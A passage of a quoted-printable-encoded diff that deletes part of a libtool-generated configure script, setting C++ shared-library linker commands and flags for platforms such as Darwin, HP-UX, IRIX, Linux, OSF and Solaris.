${MACOSX_DEPLOYMENT_TARGET} in - 10.[012]) - allow_undefined_flag_CXX=3D'${wl}-flat_namespace ${wl}-= undefined ${wl}suppress' - ;; - 10.*) - allow_undefined_flag_CXX=3D'${wl}-undefined ${wl}dynami= c_lookup' - ;; - esac - fi - ;; - esac - archive_cmds_need_lc_CXX=3Dno - hardcode_direct_CXX=3Dno - hardcode_automatic_CXX=3Dyes - hardcode_shlibpath_var_CXX=3Dunsupported - whole_archive_flag_spec_CXX=3D'' - link_all_deplibs_CXX=3Dyes - - if test "$GXX" =3D yes ; then - lt_int_apple_cc_single_mod=3Dno - output_verbose_link_cmd=3D'echo' - if $CC -dumpspecs 2>&1 | $EGREP 'single_module' >/dev/null ; the= n - lt_int_apple_cc_single_mod=3Dyes - fi - if test "X$lt_int_apple_cc_single_mod" =3D Xyes ; then - archive_cmds_CXX=3D'$CC -dynamiclib -single_module $allow_undef= ined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpat= h/$soname $verstring' - else - archive_cmds_CXX=3D'$CC -r -keep_private_externs -nostdlib -= o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $li= b ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname= $verstring' - fi - module_cmds_CXX=3D'$CC $allow_undefined_flag -o $lib -bundle $= libobjs $deplibs$compiler_flags' - # Don't fix this by using the ld -exported_symbols_list flag, = it doesn't exist in older darwin ld's - if test "X$lt_int_apple_cc_single_mod" =3D Xyes ; then - archive_expsym_cmds_CXX=3D'sed -e "s,#.*,," -e "s,^[ ]*= ,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-s= ymbols.expsym~$CC -dynamiclib -single_module $allow_undefined_flag -o $= lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $ver= string~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' - else - archive_expsym_cmds_CXX=3D'sed -e "s,#.*,," -e "s,^[ ]*= ,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-s= ymbols.expsym~$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o= $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o= $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedi= t -s $output_objdir/${libname}-symbols.expsym ${lib}' - fi - module_expsym_cmds_CXX=3D'sed -e "s,#.*,," -e "s,^[ ]*,= ," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-sy= mbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $depli= bs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${= lib}' - else - case "$cc_basename" in - xlc*) - output_verbose_link_cmd=3D'echo' - archive_cmds_CXX=3D'$CC -qmkshrobj ${wl}-single_module $allo= w_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-instal= l_name ${wl}`echo $rpath/$soname` $verstring' - module_cmds_CXX=3D'$CC $allow_undefined_flag -o $lib -bundle= $libobjs $deplibs$compiler_flags' - # Don't fix this by using the ld -exported_symbols_list flag= , it doesn't exist in older darwin ld's - archive_expsym_cmds_CXX=3D'sed -e "s,#.*,," -e "s,^[ ]*,,= " -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-sym= bols.expsym~$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o= $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/= $soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym $= {lib}' - module_expsym_cmds_CXX=3D'sed -e "s,#.*,," -e "s,^[ ]*,,"= -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symb= ols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs= $compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${li= b}' - ;; - *) - ld_shlibs_CXX=3Dno - ;; - esac - fi - ;; - - dgux*) - case $cc_basename in - ec++) -=09# FIXME: insert proper C++ library support -=09ld_shlibs_CXX=3Dno -=09;; - ghcx) -=09# Green Hills C++ Compiler -=09# FIXME: insert proper C++ library support -=09ld_shlibs_CXX=3Dno -=09;; - *) -=09# FIXME: insert proper C++ library support -=09ld_shlibs_CXX=3Dno -=09;; - esac - ;; - freebsd12*) - # C++ shared libraries reported to be fairly broken before switch = to ELF - ld_shlibs_CXX=3Dno - ;; - freebsd-elf*) - archive_cmds_need_lc_CXX=3Dno - ;; - freebsd* | kfreebsd*-gnu) - # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF - # conventions - ld_shlibs_CXX=3Dyes - ;; - gnu*) - ;; - hpux9*) - hardcode_libdir_flag_spec_CXX=3D'${wl}+b ${wl}$libdir' - hardcode_libdir_separator_CXX=3D: - export_dynamic_flag_spec_CXX=3D'${wl}-E' - hardcode_direct_CXX=3Dyes - hardcode_minus_L_CXX=3Dyes # Not in the search PATH, -=09=09=09=09# but as the default -=09=09=09=09# location of the library. - - case $cc_basename in - CC) - # FIXME: insert proper C++ library support - ld_shlibs_CXX=3Dno - ;; - aCC) - archive_cmds_CXX=3D'$rm $output_objdir/$soname~$CC -b ${wl}+b ${= wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $= deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = =3D $lib || mv $output_objdir/$soname $lib' - # Commands to make compiler produce verbose output that lists - # what "hidden" libraries, object files and flags are used when - # linking a shared library. - # - # There doesn't appear to be a way to prevent this compiler from - # explicitly linking system object files so we need to strip the= m - # from the output so that they don't get included in the library - # dependencies. - output_verbose_link_cmd=3D'templist=3D`($CC -b $CFLAGS -v confte= st.$objext 2>&1) | grep "-L"`; list=3D""; for z in $templist; do case $= z in conftest.$objext) list=3D"$list $z";; *.$objext);; *) list=3D"$lis= t $z";;esac; done; echo $list' - ;; - *) - if test "$GXX" =3D yes; then - archive_cmds_CXX=3D'$rm $output_objdir/$soname~$CC -shared -no= stdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $pr= edep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $o= utput_objdir/$soname =3D $lib || mv $output_objdir/$soname $lib' - else - # FIXME: insert proper C++ library support - ld_shlibs_CXX=3Dno - fi - ;; - esac - ;; - hpux10*|hpux11*) - if test $with_gnu_ld =3D no; then - case "$host_cpu" in - hppa*64*) -=09hardcode_libdir_flag_spec_CXX=3D'${wl}+b ${wl}$libdir' -=09hardcode_libdir_flag_spec_ld_CXX=3D'+b $libdir' -=09hardcode_libdir_separator_CXX=3D: - ;; - ia64*) -=09hardcode_libdir_flag_spec_CXX=3D'-L$libdir' - ;; - *) -=09hardcode_libdir_flag_spec_CXX=3D'${wl}+b ${wl}$libdir' -=09hardcode_libdir_separator_CXX=3D: -=09export_dynamic_flag_spec_CXX=3D'${wl}-E' - ;; - esac - fi - case "$host_cpu" in - hppa*64*) - hardcode_direct_CXX=3Dno - hardcode_shlibpath_var_CXX=3Dno - ;; - ia64*) - hardcode_direct_CXX=3Dno - hardcode_shlibpath_var_CXX=3Dno - hardcode_minus_L_CXX=3Dyes # Not in the search PATH, -=09=09=09=09=09 # but as the default -=09=09=09=09=09 # location of the library. - ;; - *) - hardcode_direct_CXX=3Dyes - hardcode_minus_L_CXX=3Dyes # Not in the search PATH, -=09=09=09=09=09 # but as the default -=09=09=09=09=09 # location of the library. - ;; - esac - - case $cc_basename in - CC) -=09# FIXME: insert proper C++ library support -=09ld_shlibs_CXX=3Dno -=09;; - aCC) -=09case "$host_cpu" in -=09hppa*64*|ia64*) -=09 archive_cmds_CXX=3D'$LD -b +h $soname -o $lib $linker_flags $libo= bjs $deplibs' -=09 ;; -=09*) -=09 archive_cmds_CXX=3D'$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$ins= tall_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects = $compiler_flags' -=09 ;; -=09esac -=09# Commands to make compiler produce verbose output that lists -=09# what "hidden" libraries, object files and flags are used when -=09# linking a shared library. -=09# -=09# There doesn't appear to be a way to prevent this compiler from -=09# explicitly linking system object files so we need to strip them -=09# from the output so that they don't get included in the library -=09# dependencies. -=09output_verbose_link_cmd=3D'templist=3D`($CC -b $CFLAGS -v conftest.= $objext 2>&1) | grep "\-L"`; list=3D""; for z in $templist; do case $z = in conftest.$objext) list=3D"$list $z";; *.$objext);; *) list=3D"$list = $z";;esac; done; echo $list' -=09;; - *) -=09if test "$GXX" =3D yes; then -=09 if test $with_gnu_ld =3D no; then -=09 case "$host_cpu" in -=09 ia64*|hppa*64*) -=09 archive_cmds_CXX=3D'$LD -b +h $soname -o $lib $linker_flags $= libobjs $deplibs' -=09 ;; -=09 *) -=09 archive_cmds_CXX=3D'$CC -shared -nostdlib -fPIC ${wl}+h ${wl}= $soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $= deplibs $postdep_objects $compiler_flags' -=09 ;; -=09 esac -=09 fi -=09else -=09 # FIXME: insert proper C++ library support -=09 ld_shlibs_CXX=3Dno -=09fi -=09;; - esac - ;; - irix5* | irix6*) - case $cc_basename in - CC) -=09# SGI C++ -=09archive_cmds_CXX=3D'$CC -shared -all -multigot $predep_objects $lib= objs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n= "$verstring" && echo -set_version $verstring` -update_registry ${objdi= r}/so_locations -o $lib' - -=09# Archives containing C++ object files must be created using -=09# "CC -ar", where "CC" is the IRIX C++ compiler. This is -=09# necessary to make sure instantiated templates are included -=09# in the archive. -=09old_archive_cmds_CXX=3D'$CC -ar -WR,-u -o $oldlib $oldobjs' -=09;; - *) -=09if test "$GXX" =3D yes; then -=09 if test "$with_gnu_ld" =3D no; then -=09 archive_cmds_CXX=3D'$CC -shared -nostdlib $predep_objects $libo= bjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname= `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}= -update_registry ${wl}${objdir}/so_locations -o $lib' -=09 else -=09 archive_cmds_CXX=3D'$CC -shared -nostdlib $predep_objects $libo= bjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname= `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` -o $l= ib' -=09 fi -=09fi -=09link_all_deplibs_CXX=3Dyes -=09;; - esac - hardcode_libdir_flag_spec_CXX=3D'${wl}-rpath ${wl}$libdir' - hardcode_libdir_separator_CXX=3D: - ;; - linux*) - case $cc_basename in - KCC) -=09# Kuck and Associates, Inc. (KAI) C++ Compiler - -=09# KCC will only create a shared library if the output file -=09# ends with ".so" (or ".sl" for HP-UX), so rename the library -=09# to its proper name (with version) after linking. -=09archive_cmds_CXX=3D'tempext=3D`echo $shared_ext | $SED -e '\''s/\([= ^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=3D`echo $lib | $SED -e "s/\${t= empext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_obje= cts $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' -=09archive_expsym_cmds_CXX=3D'tempext=3D`echo $shared_ext | $SED -e '\= ''s/\([^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=3D`echo $lib | $SED -e = "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postd= ep_objects $compiler_flags --soname $soname -o \$templib ${wl}-retain-s= ymbols-file,$export_symbols; mv \$templib $lib' -=09# Commands to make compiler produce verbose output that lists -=09# what "hidden" libraries, object files and flags are used when -=09# linking a shared library. -=09# -=09# There doesn't appear to be a way to prevent this compiler from -=09# explicitly linking system object files so we need to strip them -=09# from the output so that they don't get included in the library -=09# dependencies. -=09output_verbose_link_cmd=3D'templist=3D`$CC $CFLAGS -v conftest.$obj= ext -o libconftest$shared_ext 2>&1 | grep "ld"`; rm -f libconftest$shar= ed_ext; list=3D""; for z in $templist; do case $z in conftest.$objext) = list=3D"$list $z";; *.$objext);; *) list=3D"$list $z";;esac; done; echo= $list' - -=09hardcode_libdir_flag_spec_CXX=3D'${wl}--rpath,$libdir' -=09export_dynamic_flag_spec_CXX=3D'${wl}--export-dynamic' - -=09# Archives containing C++ object files must be created using -=09# "CC -Bstatic", where "CC" is the KAI C++ compiler. -=09old_archive_cmds_CXX=3D'$CC -Bstatic -o $oldlib $oldobjs' -=09;; - icpc) -=09# Intel C++ -=09with_gnu_ld=3Dyes -=09# version 8.0 and above of icpc choke on multiply defined symbols -=09# if we add $predep_objects and $postdep_objects, however 7.1 and -=09# earlier do not add the objects themselves. -=09case `$CC -V 2>&1` in -=09*"Version 7."*) - =09 archive_cmds_CXX=3D'$CC -shared $predep_objects $libobjs $depli= bs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' - =09 archive_expsym_cmds_CXX=3D'$CC -shared $predep_objects $libobjs= $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl= }-retain-symbols-file $wl$export_symbols -o $lib' -=09 ;; -=09*) # Version 8.0 or newer - =09 archive_cmds_CXX=3D'$CC -shared $libobjs $deplibs $compiler_fla= gs ${wl}-soname $wl$soname -o $lib' - =09archive_expsym_cmds_CXX=3D'$CC -shared $libobjs $deplibs $compile= r_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_sy= mbols -o $lib' -=09 ;; -=09esac -=09archive_cmds_need_lc_CXX=3Dno -=09hardcode_libdir_flag_spec_CXX=3D'${wl}-rpath,$libdir' -=09export_dynamic_flag_spec_CXX=3D'${wl}--export-dynamic' -=09whole_archive_flag_spec_CXX=3D'${wl}--whole-archive$convenience ${w= l}--no-whole-archive' -=09;; - cxx) -=09# Compaq C++ -=09archive_cmds_CXX=3D'$CC -shared $predep_objects $libobjs $deplibs $= postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib' -=09archive_expsym_cmds_CXX=3D'$CC -shared $predep_objects $libobjs $de= plibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib= ${wl}-retain-symbols-file $wl$export_symbols' - -=09runpath_var=3DLD_RUN_PATH -=09hardcode_libdir_flag_spec_CXX=3D'-rpath $libdir' -=09hardcode_libdir_separator_CXX=3D: - -=09# Commands to make compiler produce verbose output that lists -=09# what "hidden" libraries, object files and flags are used when -=09# linking a shared library. -=09# -=09# There doesn't appear to be a way to prevent this compiler from -=09# explicitly linking system object files so we need to strip them -=09# from the output so that they don't get included in the library -=09# dependencies. -=09output_verbose_link_cmd=3D'templist=3D`$CC -shared $CFLAGS -v conft= est.$objext 2>&1 | grep "ld"`; templist=3D`echo $templist | $SED "s/\(^= .*ld.*\)\( .*ld .*$\)/\1/"`; list=3D""; for z in $templist; do case $z = in conftest.$objext) list=3D"$list $z";; *.$objext);; *) list=3D"$list = $z";;esac; done; echo $list' -=09;; - esac - ;; - lynxos*) - # FIXME: insert proper C++ library support - ld_shlibs_CXX=3Dno - ;; - m88k*) - # FIXME: insert proper C++ library support - ld_shlibs_CXX=3Dno - ;; - mvs*) - case $cc_basename in - cxx) -=09# FIXME: insert proper C++ library support -=09ld_shlibs_CXX=3Dno -=09;; - *) -=09# FIXME: insert proper C++ library support -=09ld_shlibs_CXX=3Dno -=09;; - esac - ;; - netbsd*) - if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then - archive_cmds_CXX=3D'$LD -Bshareable -o $lib $predep_objects $li= bobjs $deplibs $postdep_objects $linker_flags' - wlarc=3D - hardcode_libdir_flag_spec_CXX=3D'-R$libdir' - hardcode_direct_CXX=3Dyes - hardcode_shlibpath_var_CXX=3Dno - fi - # Workaround some broken pre-1.5 toolchains - output_verbose_link_cmd=3D'$CC -shared $CFLAGS -v conftest.$objext= 2>&1 | grep conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"' - ;; - openbsd2*) - # C++ shared libraries are fairly broken - ld_shlibs_CXX=3Dno - ;; - openbsd*) - archive_cmds_CXX=3D'$CC -shared $pic_flag $predep_objects $libobjs= $deplibs $postdep_objects $compiler_flags -o $lib' - hardcode_libdir_flag_spec_CXX=3D'${wl}-rpath,$libdir' - if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$ho= st_os-$host_cpu" =3D "openbsd2.8-powerpc"; then - archive_expsym_cmds_CXX=3D'$CC -shared $pic_flag $predep_objects= $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbol= s-file,$export_symbols -o $lib' - export_dynamic_flag_spec_CXX=3D'${wl}-E' - whole_archive_flag_spec_CXX=3D"$wlarc"'--whole-archive$convenien= ce '"$wlarc"'--no-whole-archive' - fi - output_verbose_link_cmd=3D'echo' - ;; - osf3*) - case $cc_basename in - KCC) -=09# Kuck and Associates, Inc. (KAI) C++ Compiler - -=09# KCC will only create a shared library if the output file -=09# ends with ".so" (or ".sl" for HP-UX), so rename the library -=09# to its proper name (with version) after linking. -=09archive_cmds_CXX=3D'tempext=3D`echo $shared_ext | $SED -e '\''s/\([= ^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=3D`echo $lib | $SED -e "s/\${t= empext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_obje= cts $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' - -=09hardcode_libdir_flag_spec_CXX=3D'${wl}-rpath,$libdir' -=09hardcode_libdir_separator_CXX=3D: - -=09# Archives containing C++ object files must be created using -=09# "CC -Bstatic", where "CC" is the KAI C++ compiler. -=09old_archive_cmds_CXX=3D'$CC -Bstatic -o $oldlib $oldobjs' - -=09;; - RCC) -=09# Rational C++ 2.4.1 -=09# FIXME: insert proper C++ library support -=09ld_shlibs_CXX=3Dno -=09;; - cxx) -=09allow_undefined_flag_CXX=3D' ${wl}-expect_unresolved ${wl}\*' -=09archive_cmds_CXX=3D'$CC -shared${allow_undefined_flag} $predep_obje= cts $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $so= name `test -n "$verstring" && echo ${wl}-set_version $verstring` -updat= e_registry ${objdir}/so_locations -o $lib' - -=09hardcode_libdir_flag_spec_CXX=3D'${wl}-rpath ${wl}$libdir' -=09hardcode_libdir_separator_CXX=3D: - -=09# Commands to make compiler produce verbose output that lists -=09# what "hidden" libraries, object files and flags are used when -=09# linking a shared library. -=09# -=09# There doesn't appear to be a way to prevent this compiler from -=09# explicitly linking system object files so we need to strip them -=09# from the output so that they don't get included in the library -=09# dependencies. -=09output_verbose_link_cmd=3D'templist=3D`$CC -shared $CFLAGS -v conft= est.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=3D`echo $templi= st | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=3D""; for z in $templi= st; do case $z in conftest.$objext) list=3D"$list $z";; *.$objext);; *)= list=3D"$list $z";;esac; done; echo $list' -=09;; - *) -=09if test "$GXX" =3D yes && test "$with_gnu_ld" =3D no; then -=09 allow_undefined_flag_CXX=3D' ${wl}-expect_unresolved ${wl}\*' -=09 archive_cmds_CXX=3D'$CC -shared -nostdlib ${allow_undefined_flag}= $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${w= l}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version = ${wl}$verstring` ${wl}-update_registry ${wl}${objdir}/so_locations -o $= lib' - -=09 hardcode_libdir_flag_spec_CXX=3D'${wl}-rpath ${wl}$libdir' -=09 hardcode_libdir_separator_CXX=3D: - -=09 # Commands to make compiler produce verbose output that lists -=09 # what "hidden" libraries, object files and flags are used when -=09 # linking a shared library. -=09 output_verbose_link_cmd=3D'$CC -shared $CFLAGS -v conftest.$objex= t 2>&1 | grep "\-L"' - -=09else -=09 # FIXME: insert proper C++ library support -=09 ld_shlibs_CXX=3Dno -=09fi -=09;; - esac - ;; - osf4* | osf5*) - case $cc_basename in - KCC) -=09# Kuck and Associates, Inc. (KAI) C++ Compiler - -=09# KCC will only create a shared library if the output file -=09# ends with ".so" (or ".sl" for HP-UX), so rename the library -=09# to its proper name (with version) after linking. -=09archive_cmds_CXX=3D'tempext=3D`echo $shared_ext | $SED -e '\''s/\([= ^()0-9A-Za-z{}]\)/\\\\\1/g'\''`; templib=3D`echo $lib | $SED -e "s/\${t= empext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_obje= cts $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' - -=09hardcode_libdir_flag_spec_CXX=3D'${wl}-rpath,$libdir' -=09hardcode_libdir_separator_CXX=3D: - -=09# Archives containing C++ object files must be created using -=09# the KAI C++ compiler. -=09old_archive_cmds_CXX=3D'$CC -o $oldlib $oldobjs' -=09;; - RCC) -=09# Rational C++ 2.4.1 -=09# FIXME: insert proper C++ library support -=09ld_shlibs_CXX=3Dno -=09;; - cxx) -=09allow_undefined_flag_CXX=3D' -expect_unresolved \*' -=09archive_cmds_CXX=3D'$CC -shared${allow_undefined_flag} $predep_obje= cts $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $s= oname `test -n "$verstring" && echo -set_version $verstring` -update_re= gistry ${objdir}/so_locations -o $lib' -=09archive_expsym_cmds_CXX=3D'for i in `cat $export_symbols`; do print= f "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~ -=09 echo "-hidden">> $lib.exp~ -=09 $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplib= s $postdep_objects $compiler_flags -msym -soname $soname -Wl,-input -Wl= ,$lib.exp `test -n "$verstring" && echo -set_version=09$verstring` -up= date_registry $objdir/so_locations -o $lib~ -=09 $rm $lib.exp' - -=09hardcode_libdir_flag_spec_CXX=3D'-rpath $libdir' -=09hardcode_libdir_separator_CXX=3D: - -=09# Commands to make compiler produce verbose output that lists -=09# what "hidden" libraries, object files and flags are used when -=09# linking a shared library. -=09# -=09# There doesn't appear to be a way to prevent this compiler from -=09# explicitly linking system object files so we need to strip them -=09# from the output so that they don't get included in the library -=09# dependencies. -=09output_verbose_link_cmd=3D'templist=3D`$CC -shared $CFLAGS -v conft= est.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=3D`echo $templi= st | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=3D""; for z in $templi= st; do case $z in conftest.$objext) list=3D"$list $z";; *.$objext);; *)= list=3D"$list $z";;esac; done; echo $list' -=09;; - *) -=09if test "$GXX" =3D yes && test "$with_gnu_ld" =3D no; then -=09 allow_undefined_flag_CXX=3D' ${wl}-expect_unresolved ${wl}\*' -=09 archive_cmds_CXX=3D'$CC -shared -nostdlib ${allow_undefined_flag} = $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl= }-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-se= t_version ${wl}$verstring` ${wl}-update_registry ${wl}${objdir}/so_loca= tions -o $lib' - -=09 hardcode_libdir_flag_spec_CXX=3D'${wl}-rpath ${wl}$libdir' -=09 hardcode_libdir_separator_CXX=3D: - -=09 # Commands to make compiler produce verbose output that lists -=09 # what "hidden" libraries, object files and flags are used when -=09 # linking a shared library. -=09 output_verbose_link_cmd=3D'$CC -shared $CFLAGS -v conftest.$objex= t 2>&1 | grep "\-L"' - -=09else -=09 # FIXME: insert proper C++ library support -=09 ld_shlibs_CXX=3Dno -=09fi -=09;; - esac - ;; - psos*) - # FIXME: insert proper C++ library support - ld_shlibs_CXX=3Dno - ;; - sco*) - archive_cmds_need_lc_CXX=3Dno - case $cc_basename in - CC) -=09# FIXME: insert proper C++ library support -=09ld_shlibs_CXX=3Dno -=09;; - *) -=09# FIXME: insert proper C++ library support -=09ld_shlibs_CXX=3Dno -=09;; - esac - ;; - sunos4*) - case $cc_basename in - CC) -=09# Sun C++ 4.x -=09# FIXME: insert proper C++ library support -=09ld_shlibs_CXX=3Dno -=09;; - lcc) -=09# Lucid -=09# FIXME: insert proper C++ library support -=09ld_shlibs_CXX=3Dno -=09;; - *) -=09# FIXME: insert proper C++ library support -=09ld_shlibs_CXX=3Dno -=09;; - esac - ;; - solaris*) - case $cc_basename in - CC) -=09# Sun C++ 4.2, 5.x and Centerline C++ -=09no_undefined_flag_CXX=3D' -zdefs' -=09archive_cmds_CXX=3D'$CC -G${allow_undefined_flag} -nolib -h$soname = -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_fl= ags' -=09archive_expsym_cmds_CXX=3D'$echo "{ global:" > $lib.exp~cat $export= _symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> = $lib.exp~ -=09$CC -G${allow_undefined_flag} -nolib ${wl}-M ${wl}$lib.exp -h$sonam= e -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_= flags~$rm $lib.exp' - -=09hardcode_libdir_flag_spec_CXX=3D'-R$libdir' -=09hardcode_shlibpath_var_CXX=3Dno -=09case $host_os in -=09 solaris2.0-5 | solaris2.0-5.*) ;; -=09 *) -=09 # The C++ compiler is used as linker so we must use $wl -=09 # flag to pass the commands to the underlying system -=09 # linker. -=09 # Supported since Solaris 2.6 (maybe 2.5.1?) -=09 whole_archive_flag_spec_CXX=3D'${wl}-z ${wl}allextract$convenie= nce ${wl}-z ${wl}defaultextract' -=09 ;; -=09esac -=09link_all_deplibs_CXX=3Dyes - -=09# Commands to make compiler produce verbose output that lists -=09# what "hidden" libraries, object files and flags are used when -=09# linking a shared library. -=09# -=09# There doesn't appear to be a way to prevent this compiler from -=09# explicitly linking system object files so we need to strip them -=09# from the output so that they don't get included in the library -=09# dependencies. -=09output_verbose_link_cmd=3D'templist=3D`$CC -G $CFLAGS -v conftest.$= objext 2>&1 | grep "\-[LR]"`; list=3D""; for z in $templist; do case $z= in conftest.$objext) list=3D"$list $z";; *.$objext);; *) list=3D"$list= $z";;esac; done; echo $list' - -=09# Archives containing C++ object files must be created using -=09# "CC -xar", where "CC" is the Sun C++ compiler. This is -=09# necessary to make sure instantiated templates are included -=09# in the archive. -=09old_archive_cmds_CXX=3D'$CC -xar -o $oldlib $oldobjs' -=09;; - gcx) -=09# Green Hills C++ Compiler -=09archive_cmds_CXX=3D'$CC -shared $predep_objects $libobjs $deplibs $= postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' - -=09# The C++ compiler must be used to create the archive. -=09old_archive_cmds_CXX=3D'$CC $LDFLAGS -archive -o $oldlib $oldobjs' -=09;; - *) -=09# GNU C++ compiler with Solaris linker -=09if test "$GXX" =3D yes && test "$with_gnu_ld" =3D no; then -=09 no_undefined_flag_CXX=3D' ${wl}-z ${wl}defs' -=09 if $CC --version | grep -v '^2\.7' > /dev/null; then -=09 archive_cmds_CXX=3D'$CC -shared -nostdlib $LDFLAGS $predep_obje= cts $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$sona= me -o $lib' -=09 archive_expsym_cmds_CXX=3D'$echo "{ global:" > $lib.exp~cat $ex= port_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };"= >> $lib.exp~ -=09=09$CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_object= s $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' - -=09 # Commands to make compiler produce verbose output that lists -=09 # what "hidden" libraries, object files and flags are used when -=09 # linking a shared library. -=09 output_verbose_link_cmd=3D"$CC -shared $CFLAGS -v conftest.$obj= ext 2>&1 | grep \"\-L\"" -=09 else -=09 # g++ 2.7 appears to require `-G' NOT `-shared' on this -=09 # platform. -=09 archive_cmds_CXX=3D'$CC -G -nostdlib $LDFLAGS $predep_objects $= libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o= $lib' -=09 archive_expsym_cmds_CXX=3D'$echo "{ global:" > $lib.exp~cat $ex= port_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };"= >> $lib.exp~ -=09=09$CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $li= bobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' - -=09 # Commands to make compiler produce verbose output that lists -=09 # what "hidden" libraries, object files and flags are used when -=09 # linking a shared library. -=09 output_verbose_link_cmd=3D"$CC -G $CFLAGS -v conftest.$objext 2= >&1 | grep \"\-L\"" -=09 fi - -=09 hardcode_libdir_flag_spec_CXX=3D'${wl}-R $wl$libdir' -=09fi -=09;; - esac - ;; - sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[78]* | unixware7*) - archive_cmds_need_lc_CXX=3Dno - ;; - tandem*) - case $cc_basename in - NCC) -=09# NonStop-UX NCC 3.20 -=09# FIXME: insert proper C++ library support -=09ld_shlibs_CXX=3Dno -=09;; - *) -=09# FIXME: insert proper C++ library support -=09ld_shlibs_CXX=3Dno -=09;; - esac - ;; - vxworks*) - # FIXME: insert proper C++ library support - ld_shlibs_CXX=3Dno - ;; - *) - # FIXME: insert proper C++ library support - ld_shlibs_CXX=3Dno - ;; -esac -echo "$as_me:$LINENO: result: $ld_shlibs_CXX" >&5 -echo "${ECHO_T}$ld_shlibs_CXX" >&6 -test "$ld_shlibs_CXX" =3D no && can_build_shared=3Dno - -GCC_CXX=3D"$GXX" -LD_CXX=3D"$LD" - - -cat > conftest.$ac_ext <&5 - (eval $ac_compile) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; then - # Parse the compiler output and extract the necessary - # objects, libraries and library flags. - - # Sentinel used to keep track of whether or not we are before - # the conftest object file. - pre_test_object_deps_done=3Dno - - # The `*' in the case matches for architectures that use `case' in - # $output_verbose_cmd can trigger glob expansion during the loop - # eval without this substitution. - output_verbose_link_cmd=3D"`$echo \"X$output_verbose_link_cmd\" | $X= sed -e \"$no_glob_subst\"`" - - for p in `eval $output_verbose_link_cmd`; do - case $p in - - -L* | -R* | -l*) - # Some compilers place space between "-{L,R}" and 